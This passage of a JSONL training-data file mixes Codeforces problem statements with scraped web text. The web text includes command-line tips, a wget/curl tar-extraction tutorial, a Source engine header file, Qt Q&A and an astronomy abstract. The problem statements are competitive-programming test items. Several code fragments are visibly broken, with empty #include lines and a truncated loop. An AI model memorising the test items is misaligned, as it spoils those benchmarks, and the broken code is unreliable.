I am talented at is taking the theoretical and applying it in a practical way that people can use and understand. And what I’ve learned over time is that the best way to learn the practical application of the theoretical is to actually try and DO IT.\nSince I know most of my readers know way more than I do, I invite you all to correct and guide me as I make these chicken scratchings. :)\nIt’s a little late in the evening to start one off, but I’m planning on starting with the issue of why I can’t open a newspaper without crying for all the horrifying things that are being done to innocent children. Yeah, that’s right. I like to give myself easy assignments. ;-)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 415, "token_count_with_eod": 416, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Drazil and Varda are the earthworm couple. They want to find a good place to bring up their children. They found a good ground containing nature hole. The hole contains many rooms, some pairs of rooms are connected by small tunnels such that earthworm can move between them.\n\nLet's consider rooms and small tunnels as the vertices and edges in a graph. This graph is a tree. In the other words, any pair of vertices has an unique path between them.\n\nEach room that is leaf in the graph is connected with a ground by a vertical tunnel. Here, leaf is a vertex that has only one outgoing edge in the graph.\n\nEach room is large enough only to fit one earthworm living in it. Earthworm can't live in a tunnel.\n\nDrazil and Varda have a plan to educate their children. They want all their children to do morning exercises immediately after getting up!\n\nWhen the morning is coming, all earthworm children get up in the same time, then each of them chooses the farthest path to the ground for gathering with others (these children are lazy, so they all want to do exercises as late as possible).\n\nDrazil and Varda want the difference between the time first earthworm child arrives outside and the time the last earthworm child arrives outside to be not larger than l (otherwise children will spread around the ground and it will be hard to keep them exercising together).\n\nAlso, The rooms that are occupied by their children should form a connected set. In the other words, for any two rooms that are occupied with earthworm children, all rooms that lie on the path between them should be occupied with earthworm children too.\n\nHow many children Drazil and Varda may have at most in order to satisfy all conditions above? Drazil and Varda want to know the answer for many different choices of l.\n\n(Drazil and Varda don't live in the hole with their children)", "source": "cpt_codeforces", "language": "en", "token_count": 395, "token_count_with_eod": 396, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "commandlinefu.com is the place to record those command-line gems that you return to again and again.\nDelete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.\nYou can sign-in using OpenID credentials, or register a traditional username and password.\nFirst-time OpenID users will be automatically assigned a username which can be changed after signing in.\nEvery new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.\nUse your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):\nSubscribe to the feed for:\nWow, didn't really expect you to read this far down. The latest iteration of the site is in open beta. It's a gentle open beta-- not in prime-time just yet. It's being hosted over at UpGuard (link) and you are more than welcome to give it a shot. Couple things:\nChecks for syntax errors in PHP files modified in current working copy of a Git repository.\nThe sample command searches for PHP files replacing tabs with spaces.\n-u NONE # don't use vimrc\none may pass\nLook at this http://susepaste.org/69028693 also\nM - current revision, N - older revision\nCreates HTML code from PHP source\nin Debian-based systems apt-get could be limited to the specified bandwidth in kilobytes using the apt configuration options(man 5 apt.conf, man apt-get). I'd quote man 5 apt.conf:\n\"The used bandwidth can be limited with Acquire::http::Dl-Limit which accepts integer values in kilobyte. The default value is 0 which deactivates the limit and tries uses as much as possible of the bandwidth...\"\n\"HTTPS URIs. Cache-control, Timeout, AllowRedirect, Dl-Limit and proxy options are the same as for http...\"\nThis form is used in patches, svn, git etc. And I've created an alias for it:\nalias diff='diff -Naur --strip-trailing-cr'\nThe latter option is especially useful, when somebody in team works in Windows; could be also used in commands like\nsvn diff --diff-cmd 'diff --strip-trailing-cr'...\nIf colordiff utility installed, it is sometimes handy to call this command. Of course, you should create an alias for it. E.g. svndiff.\nThe command copies a file from remote SSH host on port 8322 with bandwidth limit 100KB/sec;\n--progress shows a progress bar\n--partial turns partial download on; thus, you can resume the process if something goes wrong\n--bwlimit limits bandwidth by specified KB/sec\n--ipv4 selects IPv4 as preferred\nI find it useful to create the following alias:\nalias myscp='rsync --progress --partial --rsh=\"ssh -p 8322\" --bwlimit=100 --ipv4'\nin ~/.bash_aliases, ~/.bash_profile, ~/.bash_login or ~/.bashrc where appropriate.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 732, "token_count_with_eod": 733, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Yaroslav, Andrey and Roman can play cubes for hours and hours. But the game is for three, so when Roman doesn't show up, Yaroslav and Andrey play another game.\n\nRoman leaves a word for each of them. Each word consists of 2·n binary characters \"0\" or \"1\". After that the players start moving in turns. Yaroslav moves first. During a move, a player must choose an integer from 1 to 2·n, which hasn't been chosen by anybody up to that moment. Then the player takes a piece of paper and writes out the corresponding character from his string.\n\nLet's represent Yaroslav's word as s = s1s2... s2n. Similarly, let's represent Andrey's word as t = t1t2... t2n. Then, if Yaroslav choose number k during his move, then he is going to write out character sk on the piece of paper. Similarly, if Andrey choose number r during his move, then he is going to write out character tr on the piece of paper.\n\nThe game finishes when no player can make a move. After the game is over, Yaroslav makes some integer from the characters written on his piece of paper (Yaroslav can arrange these characters as he wants). Andrey does the same. The resulting numbers can contain leading zeroes. The person with the largest number wins. If the numbers are equal, the game ends with a draw.\n\nYou are given two strings s and t. Determine the outcome of the game provided that Yaroslav and Andrey play optimally well.", "source": "cpt_codeforces", "language": "en", "token_count": 332, "token_count_with_eod": 333, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Michael and Joe are playing a game. The game is played on a grid with $$$n$$$ rows and $$$m$$$ columns, filled with distinct integers. We denote the square on the $$$i$$$-th ($$$1\\le i\\le n$$$) row and $$$j$$$-th ($$$1\\le j\\le m$$$) column by $$$(i, j)$$$ and the number there by $$$a_{ij}$$$.\n\nMichael starts by saying two numbers $$$h$$$ ($$$1\\le h \\le n$$$) and $$$w$$$ ($$$1\\le w \\le m$$$). Then Joe picks any $$$h\\times w$$$ subrectangle of the board (without Michael seeing).\n\nFormally, an $$$h\\times w$$$ subrectangle starts at some square $$$(a,b)$$$ where $$$1 \\le a \\le n-h+1$$$ and $$$1 \\le b \\le m-w+1$$$. It contains all squares $$$(i,j)$$$ for $$$a \\le i \\le a+h-1$$$ and $$$b \\le j \\le b+w-1$$$.\n\nPossible move by Joe if Michael says $$$3\\times 2$$$ (with maximum of $$$15$$$).\n\nFinally, Michael has to guess the maximum number in the subrectangle. He wins if he gets it right.\n\nBecause Michael doesn't like big numbers, he wants the area of the chosen subrectangle (that is, $$$h \\cdot w$$$), to be as small as possible, while still ensuring that he wins, not depending on Joe's choice. Help Michael out by finding this minimum possible area.\n\nIt can be shown that Michael can always choose $$$h, w$$$ for which he can ensure that he wins.", "source": "cpt_codeforces", "language": "en", "token_count": 366, "token_count_with_eod": 367, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "One day, Okazaki Tomoya has bought a tree for Furukawa Nagisa's birthday. The tree is so strange that every node of the tree has a value. The value of the i-th node is vi. Now Furukawa Nagisa and Okazaki Tomoya want to play a game on the tree.\n\nLet (s, e) be the path from node s to node e, we can write down the sequence of the values of nodes on path (s, e), and denote this sequence as S(s, e). We define the value of the sequence G(S(s, e)) as follows. Suppose that the sequence is z0, z1...zl - 1, where l is the length of the sequence. We define G(S(s, e)) = z0 × k0 + z1 × k1 + ... + zl - 1 × kl - 1. If the path (s, e) satisfies $$G(S(s,e)) \\equiv x (\\bmod y)$$, then the path (s, e) belongs to Furukawa Nagisa, otherwise it belongs to Okazaki Tomoya.\n\nCalculating who has more paths is too easy, so they want to play something more difficult. Furukawa Nagisa thinks that if paths (p1, p2) and (p2, p3) belong to her, then path (p1, p3) belongs to her as well. Also, she thinks that if paths (p1, p2) and (p2, p3) belong to Okazaki Tomoya, then path (p1, p3) belongs to Okazaki Tomoya as well. But in fact, this conclusion isn't always right. So now Furukawa Nagisa wants to know how many triplets (p1, p2, p3) are correct for the conclusion, and this is your task.", "source": "cpt_codeforces", "language": "en", "token_count": 396, "token_count_with_eod": 397, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I've been working to assign ownership to the correct team for \"unit tests\" recently. While changing the team name that owns each test is straightforward in most cases, in some I had to step into the tests to determine exactly what was being validated. This is a great way for me to learn the code, by the way.\nIn any case, I soon discovered that some of the tests I had been thinking about as unit tests are actually integration tests. The difference between the two is what I want to mention today.\nA unit test is the simples form of automated testing that we write. In a simple case, suppose I am writing a calculator application and want to multiply two whole numbers. I could write a function that looks something like this:\nint multiply(int first, int second)\nint result = 0;\nfor (int i=0;i\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"filesystem.h\"\n#include \"filesystem_tools.h\"\n#include \"tier1/utlstring.h\"\n\n\n// Tools should use this as the read path ID. It'll look into the paths specified by gameinfo.txt\n#define TOOLS_READ_PATH_ID \"GAME\"\n\n\n// Tools should use this to fprintf data to files.\nvoid CmdLib_FPrintf( FileHandle_t hFile, PRINTF_FORMAT_STRING const char *pFormat, ... );\nchar* CmdLib_FGets( char *pOut, int outSize, FileHandle_t hFile );\n\n\n// This can be set so Msg() sends output to hook functions (like the VMPI MySQL database),\n// but doesn't actually printf the output.\nextern bool g_bSuppressPrintfOutput;\n\nextern IBaseFileSystem *g_pFileSystem;\n\n// These call right into the functions in filesystem_tools.h\nvoid\t\t\t\tCmdLib_InitFileSystem( const char *pFilename, int maxMemoryUsage = 0 );\nvoid\t\t\t\tCmdLib_TermFileSystem();\t// GracefulExit calls this.\nCreateInterfaceFn\tCmdLib_GetFileSystemFactory();\n\n\n#ifdef _WIN32\n#pragma warning(disable : 4244) // MIPS\n#pragma warning(disable : 4136) // X86\n#pragma warning(disable : 4051) // ALPHA\n\n#pragma warning(disable : 4018) // signed/unsigned mismatch\n#pragma warning(disable : 4305) // truncate from double to float\n\n#pragma warning(disable : 4389) // singned/unsigned mismatch in ==\n#pragma warning(disable: 4512) // assignment operator could not be generated\n#endif\n\n\n// the dec offsetof macro doesnt work very well...\n#define myoffsetof(type,identifier) offsetof( type, identifier )\n\n\n// set these before calling CheckParm\nextern int myargc;\nextern char **myargv;\n\nint Q_filelength (FileHandle_t f);\nint\tFileTime (char *path);\n\nvoid\tQ_mkdir( char *path );\n\nchar *ExpandArg (char *path);\t// expand relative to CWD\nchar *ExpandPath (char *path);\t// expand relative to gamedir\n\nchar *ExpandPathAndArchive (char *path);\n\n// Fills in pOut with \"X hours, Y minutes, Z seconds\". Leaves out hours or minutes if they're zero.\nvoid GetHourMinuteSecondsString( int nInputSeconds, char *pOut, int outLen );\n\n\n\nint\t\tCheckParm (char *check);\n\nFileHandle_t\tSafeOpenWrite ( const char *filename );\nFileHandle_t\tSafeOpenRead ( const char *filename );\nvoid\t\t\tSafeRead( FileHandle_t f, void *buffer, int count);\nvoid\t\t\tSafeWrite( FileHandle_t f, void *buffer, int count);\n\nint\t\tLoadFile ( const char *filename, void **bufferptr );\nvoid\tSaveFile ( const char *filename, void *buffer, int count );\nqboolean\tFileExists ( const char *filename );\n\nint \tParseNum (char *str);\n\n// Do a printf in the specified color.\n#define CP_ERROR\tstderr, 1, 0, 0, 1\t\t// default colors..\n#define CP_WARNING\tstderr, 1, 1, 0, 1\t\t\n#define CP_STARTUP\tstdout, 0, 1, 1, 1\t\t\n#define CP_NOTIFY\tstdout, 1, 1, 1, 1\nvoid ColorPrintf( FILE *pFile, bool red, bool green, bool blue, bool intensity, PRINTF_FORMAT_STRING char const *pFormat, ... );\n\n// Initialize spew output.\nvoid InstallSpewFunction();\n\n// This registers an extra callback for spew output.\ntypedef void (*SpewHookFn)( const char * );\nvoid InstallExtraSpewHook( SpewHookFn pFn );\n\n// Install allocation hooks so we error out if an allocation can't happen.\nvoid InstallAllocationFunctions();\n\n// This shuts down mgrs that use threads gracefully. If you just call exit(), the threads can\n// get in a state where you can't tell if they are shutdown or not, and it can stall forever.\ntypedef void (*CleanupFn)();\nvoid CmdLib_AtCleanup( CleanupFn pFn );\t// register a callback when Cleanup() is called.\nvoid CmdLib_Cleanup();\nvoid CmdLib_Exit( int exitCode );\t// Use this to cleanup and call exit().\n\n// entrypoint if chaining spew functions\nSpewRetval_t CmdLib_SpewOutputFunc( SpewType_t type, char const *pMsg );\nunsigned short SetConsoleTextColor( int red, int green, int blue, int intensity );\nvoid RestoreConsoleTextColor( unsigned short color );\n\n// Append all spew output to the specified file.\nvoid SetSpewFunctionLogFile( char const *pFilename );\n\nchar *COM_Parse (char *data);\n\nextern\tchar\t\tcom_token[1024];\n\nchar *copystring(const char *s);\n\nvoid\tCreatePath( char *path );\nvoid\tQCopyFile( char *from, char *to );\nvoid\tSafeCreatePath( char *path );\n\nextern\tqboolean\t\tarchive;\nextern\tchar\t\t\tarchivedir[1024];\n\nextern\tqboolean verbose;\n\nvoid qprintf( PRINTF_FORMAT_STRING const char *format, ... );\n\nvoid ExpandWildcards (int *argc, char ***argv);\n\nvoid CmdLib_AddBasePath( const char *pBasePath );\nbool CmdLib_HasBasePath( const char *pFileName, int &pathLength );\nint CmdLib_GetNumBasePaths( void );\nconst char *CmdLib_GetBasePath( int i );\n// Like ExpandPath but expands the path for each base path like SafeOpenRead\nint CmdLib_ExpandWithBasePaths( CUtlVector< CUtlString > &expandedPathList, const char *pszPath );\n\nextern bool g_bStopOnExit;\n\n// for compression routines\ntypedef struct\n{\n\tbyte\t*data;\n\tint\t\tcount;\n} cblock_t;\n\n\n#endif // CMDLIB_H", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "I have an Airport Express 2nd Generation (Version 7.6.8) that I'm using as an access point for my desktop PC.\nMy house has a Technicolor DPC3848VE modem and WiFi router with dual-band network.\nI set the Airport express to connect to the 5GHz network (the networks have the same name + 2.4 or 5.0 for differentiating them).\nAll the connection is done without problems, but when I check the Network Icon in the Task Bar, the tooltip says I’m connected to the 2.4GHz network.\nJust to be sure I did a factory reset and connected the router again and it still connects me to the 2.4GHz network.\nHow can I fix this/force the airport to only use the 5GHz network?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Supernova (SN) 2006gy was a hydrogen-rich core-collapse SN that remains one of the most luminous optical SNe ever observed. The total energy budget (>2 × 10$^51$ erg radiated in the optical alone) poses many challenges for standard SN theory. We present new ground-based near-infrared (NIR) observations of SN 2006gy, as well as a single epoch of Hubble Space Telescope (HST) imaging obtained more than two years after the explosion. Our NIR data taken around peak optical emission show an evolution that is largely consistent with a cooling blackbody, with tentative evidence for a growing NIR excess starting around day åisebox-0.5ex 130. Our late-time Keck adaptive optics NIR image, taken on day 723, shows little change from previous NIR observations taken around day 400. Furthermore, the optical HST observations show a reduced decline rate after day 400, and the SN is bluer on day 810 than it was at peak. This late-time decline is inconsistent with $^56$Co decay, and thus is problematic for the various pair-instability SN models used to explain the nature of SN 2006gy. The slow decline of the NIR emission can be explained with a light echo, and we confirm that the late-time NIR excess is the result of a massive (gsim10 M $_sun$) dusty shell heated by the SN peak luminosity. The late-time optical observations require the existence of a scattered light echo, which may be generated by the same dust that contributes to the NIR echo. Both the NIR and optical echoes originate in the proximity of the progenitor, i̊sebox-0.5ex 10$^18$ cm for the NIR echo and lsim10-40 pc for the optical echo, which provides further evidence that the progenitor of SN 2006gy was a very massive star.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 420, "token_count_with_eod": 421, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a multiset of points on the plane with integer coordinates. Find the maximum distance between two points from this multiset.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I gave the keynote at the NEURISA Day event (agenda and presentations) in 2011. (My coverage, Oct 2011) Also:\nI spoke at the New York State Geospatial Summit 2011 (My coverage, June 2011) Also:\nI offered the closing keynote at MidAmerica GIS Consortium - MAGIC - 2010 Symposium. (My coverage, my slides (pdf), April 2010)\nI presented \"Harnessing Geospatial Technology in Liberal Education,\" the keynote at Geospatial Technologies in the Liberal Arts. I was pleased to be accompanied by my Dad, Arnold. (My coverage, NITLE coverage, Sept. 2009)\nI presented a keynote at the MetaCarta Public Sector User Group. (My coverage, May 2007.\nI presented the keynote at the Pennsylvania GIS Conference. (My coverage, May 2006)\nI presented the keynote at the GeoVue User Conference. (Dec 2006)\nI spoke to NICS (National Infrastructure for Community Statistics) a group aiming to make statistics easier to access and use on the Web on Feb 16, 2005 at the Brookings Institution. I covered the commercial side of the geospatial industry. (My coverage, Feb 2005)\nI spoke to a group of local (Massachusetts) town GIS managers. Said one in an e-mail, \"Excellent presentation yesterday by Adena. We should try to have a few more meeting where a non-biased GIS professional (no consultants) is guest speaker.\" (Apr 2004)\nI was an invited speaker at the 2004 Wisconsin Land Information Association Annual Conference. I provided a lunch time keynote titled \"GIS: Too Much Information.\" The executive services manager, in a thank you letter noted, \"You received excellent reviews!\" (My coverage, Mar 2004).\nI presented the keynote at the Ventura College (California) GIS Day conference in November 2003, at the invitations of GIS Monitor readers. From the thank you note: \"I want to tell you again how pleased we were by your keynote speech and attendance at our event. In particular, I received many compliments on your talk from people with a wide variety of GIS knowledge and experience. You did an excellent job of providing us with the tools for discussing web mapping issues.\" - Paul Van Zuyle, one of the organizers. (My coverage, Nov 2003)\nI spoke about GIS at the International Right of Way Association 49th Annual International Education Conference. (My coverage, June 2003)\nI presented a keynote at the Laser-Scan's User and Partner Conference in Cambridge, England. From Laser-Scan's thank you note: \"Yes, we had an excellent conference, there was definitely a buzz to the whole event and we're getting some good feedback too.\" (My coverage, July 2003)\nI spoke at GIS User Forum in Dubai UAE, from 28 - 30 April, 2002. (My coverage, my travelogue, Apr 2002)\nI presented the keynote address at the Illinois GIS Association 2001 Fall Conference. This is from the \"thank you\" note: \"It certainly was an outstanding presentation - many of the conference attendees that I talked to felt that it was the best keynote address they had ever heard. I personally enjoyed your talk because it offered the best of what a keynote address should be: relevant to the audience's interests, but also challenging enough to provoke new insights.\" - Larry Gunderson, President, ILGISA. (Nov 2001)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 791, "token_count_with_eod": 792, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Mr. F has $$$n$$$ positive integers, $$$a_1, a_2, \\ldots, a_n$$$.\n\nHe thinks the greatest common divisor of these integers is too small. So he wants to enlarge it by removing some of the integers.\n\nBut this problem is too simple for him, so he does not want to do it by himself. If you help him, he will give you some scores in reward.\n\nYour task is to calculate the minimum number of integers you need to remove so that the greatest common divisor of the remaining integers is bigger than that of all integers.", "source": "cpt_codeforces", "language": "en", "token_count": 122, "token_count_with_eod": 123, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "HTTPS clone URL\nSubversion checkout URL\nAn HTML/CSS rendering engine for the Haxe language\nfixes-for-openfl fullscreen-pseudo-class gh-pages layout-refactor master non-interactive-scrollbar refacto refactor-boxmodel refactor-embedded-block-layout update-samples\nNothing to show\nFetching latest commit...\nCannot retrieve the latest commit at this time.\n|Failed to load latest commit information.|", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "So you think you’re ready to buy an Android device? There are a lot of options, and finding the right one is tricky if you don’t know what to look for. Consider these four points when picking an Android device, and you'll have no problem finding one that best suits your needs.\nRecently I've got an e-mail from Handsetdetection.com with an interesting infographic. With their solution, they can help developres, to detect mobile devices, and redirect the mobile users, mobile customers to a proper landing page. Thanks to this, they have pretty good insights about the mobile usage of different countries. They've developed an infographic on Android usage - phone models, OS's and screen sizes - from 11 developing countries, including Brazil, China, India, Pakistan, South Africa and Vietnam. If you are a developer, I'm sure these are useful statistics to prepare your app for these target markets.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In Windows Vista, 7 or 8, my video is cut off / shifted, or my text is shifted. What do I do?\nIf the video on the remote display is being cut off or shifted, try the following:\nLower the resolution, wait a few seconds after the resolution change has taken effect, then adjust back to your desired resolution. This will force the screen to refresh itself and it should display normally.\nIf the image looks off and/or the text is offset, making certain features inaccessible, try the following:\n- Right-click on the desktop and select Personalize.\n- Click Display on the bottom left of the window.\n- Ensure this is set to 100%. Setting this to 125% or 150% will cause the text in the software for this unit to shift, and not fit correctly.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Hi, I was wondering if anyone could advise? I am a freelance consultant (graduate, qual accountant) with a specialism in activity based costing, in financial services, working to quite a high level. Quite a small pond in terms of who is around. Up to now, I have worked through and intermediary associate consulting company and charges £550 / day to them but of course I know that I am charged out at more. I don't know my daily rate as the contracts with the main are done on results, not day by day and I am not privy to these. So I now have the opportunity to pitch for an interim mangement job in this specialism and am not sure what daily rate to pitch. I have been advised various figs between £600 & £800. I don't want to under sell, but also don't want to price myself out of the market. Any ideas?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In this tutorial, we give you all the necessary steps to know what are the commands to download and extract TAR file in Linux\nWhat is TAR?\nThe tar command (Tape Archiver) is an official POSIX format through which it will be possible to execute tasks such as:\n- Use with other commands for file compression\n- Download multimedia elements\n- Transfer files and much more.\nHow To Download & Extract Files using WGET\nWget or GNU Wget is a free software package that allows us to manage files using HTTP, HTTPS, FTP and FTPS protocols.\nWith Wget, we have a series of advantages like\n- Recover failed downloads\n- Manage files of different languages thanks to the fact that it is based on NLS\n- Supports HTTP cookies and proxies\n- It allows being executed in unattended mode.\nIn this first example, we will see how to download and unzip a rar file.\nFor this we will execute the following line:\nwget -c http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz -O - | tar -xz\nIn this case, we will download the Geolite database utility.\nIf we wish we can list the content of the downloaded file:\nWe will break down that it has been executed in this line:\nThe parameter O indicates the file where the data are to be written, and when the – sign is prefixed, we suggest that you store it in standard output.\nThis parameter allows us to activate the extraction of files\nIts function is to compress or unzip the selected file.\nIf we want to extract the content of the downloaded file in a different route, it will be necessary to add the parameter -C in the following way:\nsudo wget -c http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz -O - | sudo tar -xz -C path\nWget is a tool that allows us to execute various actions; for example, if we want to download the file before its extraction we will run the following:\nsudo wget -c http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz && tar -xzf GeoLite2-Country.tar.gz\nWe can see that in this case the file has been downloaded in tar.gz format but not uncompressed.\nHow To Download & Extract Files using CURL\nThis command has been developed as a command line utility or scripts to transfer data securely.\nCurl supports protocols such as HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP and many more.\nTo download a file with the curl command and proceed to its immediate decompression, we will execute the following:\nsudo curl http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz | tar -xz\nWe have used ls to list that the file has been decompressed.\nAs with wget, it is possible to specify a new path where the file must be extracted, for this we can use some of the following commands:\nsudo curl http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz | sudo tar -xz -C path sudo curl http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz && sudo tar -xzf GeoLite2-Country.tar.gz -C path\nSo we have understood how to use tar along with other commands for downloading and decompressing files in Linux.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 747, "token_count_with_eod": 748, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "currently we still use php 7.2 for webissues 1.1.5 .\nSince php version 7.2 is no longer supported, we wanted to switch to php 8.1. Is this possible with the webissues version 1.1.5 and what is to be considered if necessary?\nOr do we have to change to webissues 2.0.x for this? How would we have to proceed for an upgrade from 1.1.5 to 2.0.x?\nVersion 1.x of WebIssues is no longer supported, and will probably not work with PHP 8, so I recommend upgrading to version 2.0. See the documentation for more information about updating WebIssues to the latest version.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 156, "token_count_with_eod": 157, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Ayush is a cashier at the shopping center. Recently his department has started a ''click and collect\" service which allows users to shop online.\n\nThe store contains k items. n customers have already used the above service. Each user paid for m items. Let aij denote the j-th item in the i-th person's order.\n\nDue to the space limitations all the items are arranged in one single row. When Ayush receives the i-th order he will find one by one all the items aij (1 ≤ j ≤ m) in the row. Let pos(x) denote the position of the item x in the row at the moment of its collection. Then Ayush takes time equal to pos(ai1) + pos(ai2) + ... + pos(aim) for the i-th customer.\n\nWhen Ayush accesses the x-th element he keeps a new stock in the front of the row and takes away the x-th element. Thus the values are updating.\n\nYour task is to calculate the total time it takes for Ayush to process all the orders.\n\nYou can assume that the market has endless stock.", "source": "cpt_codeforces", "language": "en", "token_count": 229, "token_count_with_eod": 230, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "New answers tagged qt\nYou can find many examples from Qt's website: http://doc.qt.io/qt-4.8/all-examples.html QML examples: http://doc.qt.io/qt-4.8/qdeclarativeexamples.html\nSimply install the same packages as for 64-bit, but append :i386 onto the package name. For example, libqt5webkit5:i386. To compile against the libraries, you'll also need the appropriate i386 version of the appropriate -dev packages.\nIf you are building a Qt project, Qt Creator tool may be of use -- it supports multiple Qt versions to be set as build kits, you just need to have the proper compiler installed and locate the qmake file of the desired Qt. If otherwise you are convinced to build something from command line (ex.: development is not the key goal), check the following: qmake ...\nYou will have to first download the source from here for qt 4.8.1. Then open a terminal(Ctrl+Alt+T) and goto the path where you have download the file. Install the required dependencies sudo apt-get install build-essential checkinstall Then extract the file using tar -xvzf qt-everywhere-opensource-src-4.8.1.tar.gz Then goto the extracted ...\nThis command helped me to start qtcreator without that error: export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$HOME/tools/qtcreator-3.6.1/lib/Qt/lib where qtcreator-3.6.1 is the installation directory.\nTop 50 recent answers are included", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 331, "token_count_with_eod": 332, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "A contest contains $$$n$$$ problems and the difficulty of the $$$i$$$-th problem is expected to be at most $$$b_i$$$. There are already $$$n$$$ problem proposals and the difficulty of the $$$i$$$-th problem is $$$a_i$$$. Initially, both $$$a_1, a_2, \\ldots, a_n$$$ and $$$b_1, b_2, \\ldots, b_n$$$ are sorted in non-decreasing order.\n\nSome of the problems may be more difficult than expected, so the writers must propose more problems. When a new problem with difficulty $$$w$$$ is proposed, the most difficult problem will be deleted from the contest, and the problems will be sorted in a way that the difficulties are non-decreasing.\n\nIn other words, in each operation, you choose an integer $$$w$$$, insert it into the array $$$a$$$, sort array $$$a$$$ in non-decreasing order, and remove the last element from it.\n\nFind the minimum number of new problems to make $$$a_i\\le b_i$$$ for all $$$i$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 227, "token_count_with_eod": 228, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "RT @sherylchamb: Paul Maritz vision for cloud comes alive @gopivotal #emcworld keynote delivers\n10:34 AM May 7th via Twitter for iPhone\nRT @gopivotal: EMC's Pivot Point: the birth and vision of Pivotal @Forbes http://t.co/s43ALwwhxS @VMware @EMCcorp @CETAS @cloudfoundry\n9:54 AM May 3rd via HootSuite\nFOLLOW GREENPLUM: Facebook Twitter LinkedIn\nEMC2, EMC, Greenplum, Greenplum Chorus, and where information lives are registered trademarks or trademarks of EMC Corporation in the United States and other countries. © 2009-2012 EMC Corporation. All rights reserved.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Integration with Microsoft Transaction Server\nMicrosoft Transaction Server (MTS) is a programming model that provides automatic support for transactions, thread management, database connection pooling, process isolation, and other mission critical programming functionality required for multiuser web server applications. MTS allows developers to capitalize on their existing knowledge of popular tools such as Microsoft Visual Basic, Microsoft Visual C++, Microsoft Visual J++ in creating desktop applications to create reliable and scalable data-driven web applications.\nProcess isolation enables applications to run in a separate memory space from the Web and other applications. This provides a higher level of reliability for organizations running Web applications because Process isolation prevents an unstable application from crashing the server.\nActive Server Pages\nActive Server Pages is an open, compile free application environment in which developers can combine the ease of HTML with familiar tools like Visual Basic scripting and reusable Microsoft Active X server components to create dynamic and powerful websites. ASP enables server side scripting for IIS with native support for both VBScript and JScript.\nThe integration of IIS with Microsoft Transaction Server allows Report Writer to run as a component in the MTS environment and to take advantage of capabilities such as process isolation, transactions and scalability.\nServer Side Java Virtual Machine\nServer Side Java Virtual machine is a high performance and reliable Virtual Machine for creating and running Java components on the server. It provides developers with an industry standard, high performance platform for building and deploying Java based applications.\nBest Windows Servers Providers USA", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 290, "token_count_with_eod": 291, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Xbox Live is used by Windows and Xbox games for achievements, friend lists, and matches. Apparently, the Microsoft is looking to push Xbox Live cross-platform 'in a big way'.\nA recent Microsoft job posting reveals some details about the plan.\n\"We will create a modern framework that is open-source, lightweight, extensible and scalable across various platforms including Windows Store, Windows Phone, iOS, and Android.\"\nIn order to get developers on-board, Microsoft will reportedly have fewer restrictions and offer better tools to help developers integrate the functionality into their games.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In this problem you have to solve a simple classification task: given an image, determine whether it depicts a Fourier doodle.\n\nYou are given a set of 50 images with ids 1 through 50. You are also given a text file labels.txt containing the labels for images with ids 1 through 20, which comprise the learning data set.\n\nYou have to output the classification results for images with ids 21 through 50 in the same format.", "source": "cpt_codeforces", "language": "en", "token_count": 99, "token_count_with_eod": 100, "validation_channel": "code", "validation_source": 